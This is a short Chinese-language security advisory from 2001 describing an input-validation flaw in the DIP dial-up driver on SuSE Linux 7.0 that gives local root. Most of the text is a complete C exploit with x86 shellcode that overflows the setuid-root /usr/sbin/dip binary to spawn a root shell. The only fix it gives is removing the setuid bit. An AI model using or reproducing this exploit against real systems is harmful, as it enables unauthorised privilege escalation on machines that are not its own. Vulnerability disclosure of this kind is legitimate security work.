DIP(Dialup IP Protocol Driver)存在安全漏洞发布时间:2001-07-24 更新时间:2001-07-24 严重程度:高 威胁程度:本地管理员权限 错误类型:输入验证错误 利用方式:服务器模式 受影响系统 SuSE Linux 7.0详细描述 DIP(Dialup IP Protocol Driver)处理拨号IP连接,如SLIP或者CSLIP, 它能同时处理进出连接,使用密码来保证安全,其中3年前发现的漏洞 到现在Suse LInux下还存在。 测试代码 /* Linux x86 dip 3.3.7p exploit by pr10n */ #include <stdio.h> #define NOP 0x90 /*thanks to hack.co.za*/ char shellcode[] = "\x31\xc0\x31\xdb\x31\xc9\xb0\x46\xcd\x80\xeb\x1d" "\x5e\x88\x46\x07\x89\x46\x0c\x89\x76\x08\x89\xf3" "\x8d\x4e\x08\x8d\x56\x0c\xb0\x0b\xcd\x80\x31\xc0" "\x31\xdb\x40\xcd\x80\xe8\xde\xff\xff\xff/bin/sh"; unsigned long get_sp(void){ __asm__("movl %esp, %eax");} main(int argc, char *argv[]){ char buf[136]; int i; int offset=0,*ptr; long ret; if(argc!=2){ printf("usage: %s offset\n",argv[0]); exit(0);} offset=atoi(argv[1]); ret=(get_sp()-offset); for(i=1;i<136;i+=4){ *(long *)&buf[i]=ret;} printf("\nusing: 0x%x\n\n",ret); for(i=0;i<(sizeof(buf)-strlen(shellcode)-40);i++) buf[i]=NOP; memcpy(buf+i,shellcode,strlen(shellcode)); execl("/usr/sbin/dip","dip","-k","-l",buf,(char *)0); } 解决方案 临时方法:去掉SETUID ROOT位 相关信息 hegenbart at aon.at |